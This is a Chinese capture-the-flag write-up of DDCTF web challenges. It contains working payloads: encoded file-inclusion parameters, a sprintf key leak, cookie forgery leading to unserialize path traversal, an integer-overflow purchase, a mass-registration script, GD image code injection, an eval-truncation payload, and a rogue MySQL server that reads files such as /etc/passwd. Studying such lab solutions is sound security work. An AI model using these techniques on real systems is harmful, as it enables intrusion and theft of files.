滴~
題目url http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09
感覺像是包含,先解碼一下參數(shù),然后發(fā)現(xiàn)是兩次base,變成了hex編碼,再decode就發(fā)現(xiàn)是flag.jpg,所以可以嘗試包含index.php,轉(zhuǎn)換之后的值是TmprMlJUWTBOalUzT0RKRk56QTJPRGN3,提交可獲得index.php源碼,然后發(fā)現(xiàn)讀出來的數(shù)據(jù)在圖片源中,提取解碼得到
<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/
?>
然后根據(jù)去訪問csdn博客,發(fā)現(xiàn)一片swp的文章,然后嘗試之后發(fā)現(xiàn)沒有config.php等文件的swp,然后再去博客中看到.practice.txt.swp,嘗試一下不行,把點去掉,得到提示在f1ag!ddctf.php,然后根據(jù)前面的index.php中config會被替換成_,將f1agconfigddctf.php編碼提交,得到源碼
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}
?>
提交uid=&content=即可得到flag
WEB 簽到題
訪問提示:"抱歉,您沒有登陸權限,請獲取權限后訪問-----"
查看HTTP頭,發(fā)現(xiàn)設置了一個didictf_username,且為空,試了下root admin,發(fā)現(xiàn)是admin,然后改頭提交,提示:"您當前當前權限為管理員----請訪問:app/fL2XID2i0Cdh.php"
訪問之后得到源碼:
// url:app/Application.php
Class Application {
var $path = '';
public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;
}
public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您當前當前權限為管理員----請訪問:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉,您沒有登陸權限,請獲取權限后訪問-----','error');
exit();
}
}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}
public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}
// url:app/Session.php
include 'Application.php';
class Session extends Application {
//key建議為8位字符串
var $eancrykey = '';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";
public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}
}
private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}
public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}
$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);
if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);
if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;
}
private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}
$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);
$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);
}
}
$ddctf = new Session();
$ddctf->index();
進行源碼審計:
有幾個點:
1. 獲取salt
private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}
2. 設置cookie
$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
這里的$this->eancrykey就是上面獲取的
3.每次驗證cookie
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);
if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
// 反序列化data
$session = unserialize($session);
4. 魔方函數(shù)
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}
public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
結合上面的點可以知道,如果知道key.txt的內(nèi)容,cookie就可以讓自己偽造data,然后反序列化Session或者Application對象觸發(fā)__destruct從而讀取文件
5.獲取key.txt
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
這里考察的是sprintf的函數(shù),如果nickname是字符串,那么只會格式化第一次,第二次輪不到eancrykey,所以查詢下sprintf函數(shù)
sprintf ( string $format [, mixed $... ] ) : string
Returns a string produced according to the formatting string format.
The format string is composed of zero or more directives: ordinary characters (excluding %) that are copied directly to the result and conversion specifications, each of which results in fetching its own parameter.
意思就是第一個format是格式的意思,那憑直覺試nickname=%s,就可以打印出key.txt:EzblrbNS
接下來就是構造反序列化的參數(shù)了,將上面的Application.php代碼放到本地,然后在下面添加
$ddctf1 = new Application();
$ddctf1->path = '...\./config/flag.txt';
$a = serialize($ddctf1);
echo $a;
得到反序列字符串,再與EzblrbNS拼接,再得到它的md5值,然后將反序列字符串與md5值拼接,得到cookie,再urlencode,提交得到flag

大吉大利 今晚吃雞
題目提示:注冊用戶登陸系統(tǒng)并購買入場票據(jù),淘汰所有對手就能吃雞啦~
進入題目,是個登錄框,有注冊按鈕,按照題目提示,注冊然后登錄

點擊購買,購買門票之后在訂單列表中,有個價格2k的門票要支付,但是我只有100塊錢??!抓包看了下,價格是可以自己修改的。所以想了下,思路往競爭方向想,但是又沒有賣的,所以又往溢出的方向想,試了一下各種溢出的上限,發(fā)現(xiàn)是unsigned long,上限4294967295。所以 提交http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296,就可以0元購買了。然后進入殺雞界面

試了試去,就想出個注冊小號給大號殺,
腳本:
這里有個坑就是,服務器網(wǎng)絡不穩(wěn)定,然后注冊的id會隨機,所以,要跑很久。
import requests
import queue
import json
import time
base_url = 'http://117.51.147.155:5050/'
register_url = 'ctf/api/register?name={0}&password={1}'
login_url = 'ctf/api/login?name={}&password={}'
buy_url = 'ctf/api/buy_ticket?ticket_price=4294967296'
get_bill_info_url = 'ctf/api/search_bill_info'
pay_url = 'ctf/api/pay_ticket?bill_id={}'
# game main get the id and the ticket
ticket_url = 'ctf/api/search_ticket'
# remove url
remove_url = 'ctf/api/remove_robot?id={}&ticket={}'
password = '12345678'
# message queue
q = queue.Queue()
headers = {'Accept': 'text/html, application/xhtml+xml, image/jxr, */*',
'Accept - Encoding':'gzip, deflate',
'Accept-Language':'zh-Hans-CN, zh-Hans; q=0.5',
'Connection':'Keep-Alive',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063'
}
def fuck_ticket(name):
time.sleep(2)
s = requests.Session()
url = base_url + register_url
name = 'wulasitea' + str(name)
# 注冊
url = url.format(name, password)
s.get(url)
print(name)
# 登錄
url = base_url + login_url
url = url.format(name, password)
# print(s.get(url).text + name)
s.get(url)
# 購票
url = base_url + buy_url
res = s.get(url)
# bill_id
url = base_url + get_bill_info_url
try:
bill_id = json.loads(s.get(url).text)['data'][0]['bill_id']
# 支付
url = base_url + pay_url
url = url.format(bill_id)
s.get(url)
# print(s.get(url).text)
except ValueError as e:
pass
except IndexError as e:
pass
# get the final data
try:
url = base_url + ticket_url
content = json.loads(s.get(url).text)
id = str(content['data'][0]['id'])
ticket_id = content['data'][0]['ticket']
#刪除
name = 'h'
url = base_url + login_url
url = url.format(name, password)
s.get(url)
url = base_url + remove_url
url = url.format(id, ticket_id)
print(url)
print(s.get(url, headers=headers).text)
with open('C:/Users/97125/Desktop/1.txt', 'a') as f:
f.write(id + ',' + ticket_id +'\n')
except IndexError as e:
print('error' + name)
except json.decoder.JSONDecodeError as e:
print('error' + name)
def cosumer_ticket():
# 登錄
s = requests.Session()
name = 'h'
url = base_url + login_url
url = url.format(name, password)
print(url)
res1 = s.get(url)
# tick_list = q.get()
with open('C:/Users/97125/Desktop/1.txt', 'r') as f:
for i in f.readlines():
res = i.split(',')
url = base_url + remove_url
url = url.format(res[0], res[1])
print(url)
print(s.get(url).text)
def main():
for i in range(300,500):
fuck_ticket(i)
cosumer_ticket()
if __name__ == '__main__':
main()
最后跑滿100個不重復的id就可以吃雞了
uploadimg(未做出)
? 這題當時是無從下手,也沒想到要把上傳上去的圖片下下來看。看了大家的writeup和解析之后,自己動手慢慢fuzz了兩天晚上,終于知道是什么意思了。
? 一開始就是一個簡單的上傳圖片的界面,上傳之后提示

在嘗試通過burp增加phpinfo()之后無果。(假裝我當時做出來了)正常思路應該是把上傳的圖片下下來,然后查看hex,對比發(fā)現(xiàn)不一樣了,然后文件頭有gd-jpeg字樣。
查看hex

搜索一下,發(fā)現(xiàn)這是一個PHP的一個GD庫,渲染圖片用的。然后我再一搜,php GD漏洞,搜到
對比兩張經(jīng)過php-gd庫轉(zhuǎn)換過的gif圖片,如果其中存在相同之處,這就證明這部分圖片數(shù)據(jù)不會經(jīng)過轉(zhuǎn)換。然后我可以注入代碼到這部分圖片文件中,最終實現(xiàn)遠程代碼執(zhí)行
原理解釋在github上有。主要是

在Scan header正后方修改,后面添加的內(nèi)容就不會被修改了,注意一定是正后方,并且是已經(jīng)轉(zhuǎn)換過的一次。
然后在burpsuite我發(fā)現(xiàn)在

第二個wxzy后面的問號的后面的空格的后面,比較繞,看圖。直接添加,得到flag。
這題主要就是考察一個GD庫渲染的漏洞,通常還是要結合實際,比如上傳檢測的時候文件頭,然后又會做GD渲染。
homebrew event loop
這道題看了一天,還是沒做出來,實屬dd,看的自閉。
這題切入其實是一個python eval # 截斷,大概類似于注釋?,然后就可以突破去調(diào)用trigger_event函數(shù),再將購買五個和show_flag插入調(diào)用隊列中,不讓consume_point有機可乘。
下面就來講解這串代碼
# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'
from flask import Flask, session, request, Response
import urllib
app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5af33f66147e857'
def FLAG():
return 'FLAG_is_here_but_i_wont_show_you' # censored
def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5: session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)
def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix) + len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack
class RollBackException: pass
def execute_event_loop():
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')): continue
for c in event:
if c not in valid_event_chars: break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action + ';').split('#')
try:
action1 = action + ('_handler' if is_action else '_function')
event_handler = eval(action1)
ret_val = event_handler(args)
except RollBackException:
if resp is None: resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None: resp = ''
# resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None:
resp = ret_val
else:
resp += ret_val
if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
session.modified = True
return resp
@app.route(url_prefix + '/')
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()
# handlers/functions below --------------------------------------
def view_handler(args):
page = args[0]
html = ''
html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23False">View source code</a><br />'
html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
html += '<a href="./?action:view;reset">Reset</a><br />'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
elif page == 'reset':
del session['num_items']
html += 'Session reset.<br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
return html
def index_handler(args):
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool_show_source == 'True':
source = open('eventLoop.py', 'r')
html = ''
if bool_download_source != 'True':
html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
for line in source:
if bool_download_source != 'True':
html += line.replace('&', '&').replace('\t', ' ' * 4).replace(' ', ' ').replace('<',
'<').replace(
'>', '>').replace('\n', '<br />')
else:
html += line
source.close()
if bool_download_source == 'True':
headers = {}
headers['Content-Type'] = 'text/plain'
headers['Content-Disposition'] = 'attachment; filename=serve.py'
return Response(html, headers=headers)
else:
return html
else:
trigger_event('action:view;index')
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])
def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume: raise RollBackException()
session['points'] -= point_to_consume
def show_flag_function(args):
flag = args[0]
# return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) <br />'
def get_flag_handler(args):
if session['num_items'] >= 5:
trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
trigger_event('action:view;index')
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=5001)
首先這是一個flask框架寫的,入口在entry_point,它主要做的事是初始化然后調(diào)用trigger_event將提交的參數(shù)入隊到event_queue,然后調(diào)用execute_event_loop去消費event_queue里的東西。現(xiàn)在重點來看下execute_event_loop
def execute_event_loop():
// 白名單
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
// 出隊
event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
request.event_queue = request.event_queue[1:]
// 如果不是以action fun開頭,則跳過循環(huán)
if not event.startswith(('action:', 'func:')): continue
// 白名單檢測
for c in event:
if c not in valid_event_chars: break
else:
// a開頭就是action,其它就是function
is_action = event[0] == 'a'
// 分割出action
action = get_mid_str(event, ':', ';')
// 分割出參數(shù)
args = get_mid_str(event, action + ';').split('#')
try:
// 執(zhí)行函數(shù)
action1 = action + ('_handler' if is_action else '_function')
event_handler = eval(action1)
ret_val = event_handler(args)
except RollBackException:
if resp is None: resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None: resp = ''
# resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None:
resp = ret_val
else:
resp += ret_val
if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
session.modified = True
return resp
看到這里,這個腳本本意是只讓你能控制調(diào)用的_handler和_function。
接下來看要如何得到flag
def get_flag_handler(args):
if session['num_items'] >= 5:
trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
trigger_event('action:view;index')
session['num_items'] >= 5
如何增加session['num_items']
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])
def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume: raise RollBackException()
session['points'] -= point_to_consume
buy_handler先是增加session['num_items'],但是隨后又把消耗session['num_items']的函數(shù)入隊列。而且python(好像)是沒有溢出的。
當時就覺得是這里是入手點,buy和cousume分開了。先是想的競爭,后面想了下,是單線程的。
所以需要想個辦法把這個女人,不對這兩函數(shù)分開,中間插個get_flag_handler,這樣就可以獲得flag了。
payload
?action:trigger_event%23;action:buy;5%23action:get_flag;
看下會發(fā)生什么

首先看action1=trigger_event#_handler,eval之后其實后面就被截斷、注釋掉了,所以就可以調(diào)用trigger_event,將buy和get_flag先入隊。最后flag就在session里,flask的session解密在P師傅

mysql弱口令(未做出)
這題流程還挺簡單的,感覺比吃雞還簡單,就是一個知識點。
出題人的預期的流程大概就是部署agent.py->修改返回的數(shù)據(jù)->構造惡意的mysql server讀取敏感文件
題目叫部署agent.py再進行掃描,那就部署到自己的服務器上,用的是python2
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 12/1/2019 2:58 PM
# @Author : fz
# @Site :
# @File : agent.py
# @Software: PyCharm
import json
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser
from subprocess import Popen, PIPE
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
request_path = self.path
print("\n----- Request Start ----->\n")
print("request_path :", request_path)
print("self.headers :", self.headers)
print("<----- Request End -----\n")
self.send_response(200)
self.send_header("Set-Cookie", "foo=bar")
self.end_headers()
result = self._func()
self.wfile.write(json.dumps(result))
def do_POST(self):
request_path = self.path
# print("\n----- Request Start ----->\n")
print("request_path : %s", request_path)
request_headers = self.headers
content_length = request_headers.getheaders('content-length')
length = int(content_length[0]) if content_length else 0
# print("length :", length)
print("request_headers : %s" % request_headers)
print("content : %s" % self.rfile.read(length))
# print("<----- Request End -----\n")
self.send_response(200)
self.send_header("Set-Cookie", "foo=bar")
self.end_headers()
result = self._func()
self.wfile.write(json.dumps(result))
def _func(self):
netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)
netstat.wait()
ps_list = netstat.stdout.readlines()
result = []
for item in ps_list[2:]:
tmp = item.split()
Local_Address = tmp[3]
Process_name = tmp[6]
tmp_dic = {'local_address': Local_Address, 'Process_name': Process_name}
result.append(tmp_dic)
return result
do_PUT = do_POST
do_DELETE = do_GET
def main():
port = 8123
print('Listening on localhost:%s' % port)
server = HTTPServer(('0.0.0.0', port), RequestHandler)
server.serve_forever()
if __name__ == "__main__":
parser = OptionParser()
parser.usage = (
"Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n"
"Run:\n\n")
(options, args) = parser.parse_args()
main()
簡單的看了一下就是返回netstat -tpnl的內(nèi)容 主要是
'local_address': Local_Address, 'Process_name': Process_name
在題目界面輸入IP和端口,如果你確實開了mysql服務,它就會提示未掃出弱密碼,如果沒有開啟mysql或者未部署agent.py就會提示沒有開啟mysql。所以可以判斷它是根據(jù)agent.py返回做掃描判斷。fuzz了一下,發(fā)現(xiàn)是對Process_name判斷,有沒有mysqld。所以手動修改這行為
tmp_dic = {'local_address': Local_Address, 'Process_name': 'mysqld'}
然后再部署一個惡意的mysql服務器去讀靶機的敏感文件,/etc/passwd ~/.mysql_history /.bashrc等,其實是在/.mysql_history。

值得一提的是,這個點也在下一周的國賽中用到了,可惜的是當時沒時間弄懂這次的,要不然國賽也可以得分,能穩(wěn)進決賽在在邊緣徘徊。